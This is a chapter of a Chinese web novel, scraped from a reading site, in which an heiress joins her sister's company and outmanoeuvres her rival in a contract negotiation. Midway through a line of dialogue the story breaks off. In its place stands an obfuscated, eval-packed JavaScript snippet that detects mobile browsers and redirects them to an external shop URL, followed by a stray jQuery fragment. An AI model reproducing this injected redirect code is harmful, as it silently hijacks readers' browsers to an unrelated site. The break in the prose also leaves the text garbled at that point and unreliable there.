文趣网 > 都市小说 > 野心[死对头] > 6. 第 6 章(修)
    元旦假期结束,项缭正式上任。

    華观企业以地产发家,旗下酒店、商厦、商场、高档小区等等遍布整个绛城,是独一份的产业帝国。

    公司总部在绛城东区的商圈,距离项缭住的澜湖公寓不远,走路也就二十分钟。

    第一天上班,项缭戴着墨镜一路风风火火地进了公司大厦,前台看见她都愣了。

    这里没人不认识项缭,但却很少见她出现在公司,短暂的怔愣过后,来往员工纷纷跟她打招呼,前台也迎了上来:“二小姐早上好,您怎么有空来公司?”

    项缭摘下墨镜:“我来找你们小项总。”

    “好的。”前台打电话确认了一下,刷了门禁领她上了楼。

    大厦顶层整体打通,除了总裁办公室、秘书室,还划分出了休闲区、会客区和休息区。

    电梯门一打开,项缭就看见项绮站在一间办公室门口,叉着腰指挥着什么。

    回头看见两人,项绮脸上没什么表情,朝前台微微颔首道:“谢谢,你下去忙吧。”

    前台多看了那间办公室一眼,又看了看项缭,掩盖住脸上的惊讶,点头离开。

    等人离开,项绮一改人前的冷峻严肃,笑起来道:“姐你快来,看看我给你改装的办公室怎么样,喜欢吗!”

    项缭被她拽进去,笑着打量起来。

    里面空间不算小,原来大概只有一些基础设施,此刻已经装了新的桌椅书柜,摆了不少绿植,最喜人的要数窗边一株硕大的凌霄,花开艳艳。

    项缭没忍住伸手拨了一下娇艳的花瓣,满意地点头:“我很喜欢。”

    项绮更开心了,拉着她去了自己那边。

    总裁办公室是秘书的两倍大,里面还有一间小卧室,设施一样齐全。

    项绮拉着项缭往办公桌的方向走,还没开口说什么,门外却忽然传来敲门声。

    项绮敛起笑意:“进。”

    “小项总,”门打开,进来一个穿着职业装的女人,她跟项缭点头打过招呼,说:“这是财务部和市场部送来的报表,还有,昨天技术部那边接到了电话,是合作方想变更合同内容,要约时间面谈吗?”

    项缭也迅速进入了工作状态,在旁边暗暗听着学习。

    项绮则快走了两步坐下,翻开报表看过,在末尾签名确认。

    她扣上笔,手指撑在下巴底下问:“是哪家公司?”

    女人回答:“誉森科技。”

    “帮我约一下,时间地点定好了通知我。”

    女人看了眼手机:“周五可以吗?”

    “可以。”

    “好。”

    公事结束,项绮指着项缭介绍道:“这位是项缭,今天开始就是我的特助,人事那边今天会出公告。”

    女人点点头,朝项缭伸手:“你好,我叫闫欣,是小项总的秘书。”

    项缭却仿佛走了神,过了几秒才握上去:“你好。”

    等闫欣离开,项绮才歪了下头:“姐?”

    项缭看过来,眉眼低沉:“你刚才说的合作方,誉森科技,是哪个誉森?”

    项绮不明所以:“不就一个誉森吗?”

    “他们的总裁是常徇舟?”

    “对。”

    项缭神色复杂。

    做了这么多年的死对头,项缭对常徇舟的身份了如指掌——

    这人早些年靠打黑拳迅速积累了财富,大学时创办了科技兴趣小组,毕业后直接成立了公司,也就是现在的誉森科技。

    他的拳队正是以誉森命名。

    项缭抬起眼,见项绮还看着自己,她主动说:“跟誉森见面的事我来安排。”

    项绮直接答应:“没问题。”

    =

    项缭花了几天时间熟悉公司的业务,帮项绮做好工作规划,挑了个周五的日子给誉森科技发去了邮件。

    见面的地点在日沉阁。

    六层古韵小楼建在沉月湖畔,是绛城东区的标志性建筑,颇受绛城上层人士喜爱。

    刚到门口,两拨人马不期而遇。

    誉森那边为首的人身量极高,衬得后面两个气势弱了不少。他原本垂着眼往前走,中途抬头瞥了一眼,脚步忽然就定住了。

    老大停下,后面跟着的两人也停下了,齐刷刷朝前看。

    项绮率先开口打招呼:“常总。”

    大概是没想到会在这里见到项缭,常徇舟好半晌才把目光从项缭身上挪开,微一颔首:“项总好。”

    出于礼貌,常徇舟让项绮先上楼。

    木质楼梯仅容两人并排,他后退一步,刚巧跟项缭并了肩。

    两人仿佛同极相斥的磁铁,一人贴墙,一人倚着扶手,在并不宽敞的楼梯上相隔极远,唯有回折处能前后相贴一瞬。

    “常总真是日理万机,拳队的事情都忙不过来,还有空亲自过来谈合作啊。”

    擦肩而过的瞬间,项缭低声开口,看向常徇舟的目光里充满戏谑。

    常徇舟神色冷漠,看也不看她,回敬道:“比不上二小姐清闲,半点不用操心拳队。”

    项缭听出了他背后的意思,挖苦道:“是比不上我,毕竟誉森一直都高不成低不就。”

    常徇舟:“……呵。”

    两人一前一后走进包间,双双闭上了嘴。

    包间很大,一方茶案临窗,左右各放着几只蒲团,一扇屏风之隔,是一组木质沙发,和仿作老树桩造型的茶几。

    六人依次走到茶案边坐到蒲团上,等服务生上了茶点,会谈进入正题。

    誉森的员工将重新修改过的合同拿出来,一人一份。

    给在场的人充足的时间翻阅过后,他开口道:“项总清楚我们的需求,这份合同做了新的调整,主要在分成、运营、数据权益和合作边界几个方面做了调整……”

    他一边说,華观的法务一边拿着合同给项绮小声讲解,项缭在旁边听了一耳朵,微一抬眼,却正巧跟桌对面的常徇舟对上了视线。

    男人也不知道什么时候看过来的,瞳孔放大了一瞬,似是刚回过神,随后若无其事地接上了下属的话。

    “项总,修改合同只有一个目的,提高我们双方合作的效率。毕竟效率就是利润,于双方而言是共赢的局面。”

    项绮看过合同,指尖在纸面上轻轻地点:“去年華观只在系统维护上就花了四千万,如果按这份合同算,维护费用可只多不少。”

    常徇舟说:“所以我们保证了華观的永久使用权和优先试用权。”

    项绮不上他的套,话锋一转:“我之前听说,誉森跟段家申家都在接触,看来常总的野心很大啊,是准备每家都啃一口吗?”

    “项总说笑了,”常徇舟面不改色地说,“这是正常的业务变动。”

    包间里安静下去,项缭给项绮和法务倒了杯茶,举手撑在茶案上问:“我有问题。”

    常徇舟循声看过来:“请讲。”

    项缭翻开合同指给他看:“这个‘独家’是什么意思。”

    他身边的员工下意识开口:“二小姐,这项规定是——”

    “我问的是常徇舟。”项缭不悦地皱眉打断。

    员工尴尬地闭上了嘴,侧头看向常徇舟。

    常徇舟给他递了个眼神,道:“独家的意思,是誉森会成立专门对接華观的项目小组,分离出单独的数据库,以供双方合作使用。”

    “如果我不用誉森的系统呢?”

    “那就只能按原合同走,今天我们提出的这些,都不作数。”

    “誉森能保证这个所谓的保底收益吗?”

    “当然,誉森的能

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913124|213209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    力有目共睹。”

    项缭冷嗤一声:“常总,生意场上可不是让你说大话的地方。”

    常徇舟眉眼压低:“那二小姐想如何?”

    “要是誉森经营下滑,收益如何保证?”项缭逼问,“不够的话你们赔吗?”

    “我赔。”

    项缭微微眯起眼,想从常徇舟身上看出点什么——只可惜,她一无所获。

    沉默片刻,项缭道:“口说无凭,不如我们加个对赌条款。”

    包间里安静了两秒,誉森的员工眼睛都瞪圆了,哑口无声。

    自始至终,项绮都坐在旁边没开口,法务想说什么,还被她给拉住了。

    项缭抱臂道:“怎么,常总不敢?”

    常徇舟看了她一眼:“你想怎么赌?”

    “如果華观实际到手的收益低于原合同模式下的模拟收益,差额由誉森补足。”

    包间里空气仿佛凝固住了,所有人都下意识屏住了呼吸。

    在煎熬的沉默里,常徇舟目光沉沉地盯着她,微一点头:“好,一言为定。”

    差强人意。

    项缭点了下头,又拿起合同继续翻,所有人都不约而同地看着她,在等她开口。

    过了片刻,她忽然又指着合同上的一个数字说:“保底基数,得提高到30亿。”

    “二小姐,26亿的保底是根据華观近几年的收益峰值算的,不是空穴来风……”

    誉森员工忍不住解释,常徇舟比了个手势打断他道:“可以提到30亿,但相应的,超额分成的比例得下调。”

    项缭眯起眼:“怎么下调?”

    常徇舟说:“从35%下调到15%。”

    “30。”

    “20。”

    “30。”

    “……”

    眼见两人针锋相对得快要打起来了,项绮出声当和事佬:“这样吧,常总,華观每年的收益有目共睹,早就稳定在了27亿,近些年跟誉森合作的行情也是大好,峰值最高也有36亿。依我看,保底基数可以提到28,分成按30%算,如何?”

    两边互相瞪视着,半晌,同时偃旗息鼓。

    项绮狠狠松了口气。

    成功压过常徇舟一头,项缭心情大好,饮尽自己面前的茶,起身道:“你们聊,我去一下洗手间。”

    项绮趁机道:“茶水也快喝完了,常总,不如我们先休息一下?”

    常徇舟面无表情地点了下头。

    项绮轻笑着起身,拉着法务一起离开,把空间留给了誉森的三个人。

    几乎在包间门关上一瞬间,誉森员工立马抱怨:“常先生,这也太离谱了!”

    另一人接话:“这位二小姐是干嘛来的?看我们不顺眼,专程来给个下马威?”

    “我听说这位没在華观入过职。”

    “什么都不懂小项总还带她过来,这不闹着玩呢么!”

    只是话还没说完,两人同时感觉后背一阵阴凉。他们下意识回头,只见常徇舟斜睨过来,眼神里是极具压迫的冷。

    两人头皮一阵发麻,急忙闭上了嘴。

    “既然能出席商谈,就说明有参与项目的资格,比如你们。”

    常徇舟盯着他们,“没到期的合同发生变动,我们本就该拿出一个保障双方利益的解决办法。如果对方不满意,那只能说明我们的能力不够。”

    员工手心直冒冷汗:“是,您说得对。”

    常徇舟站起身,居高临下地说:“回去自己交接工作,明天你不用来了。”

    员工脸色一变:“常先生!我——”

    常徇舟却不搭理他,看向另一个员工:“你,回去写一份新的提案给我。”

    “好的常先生。”

    说完,他目不斜视地大步走出门外。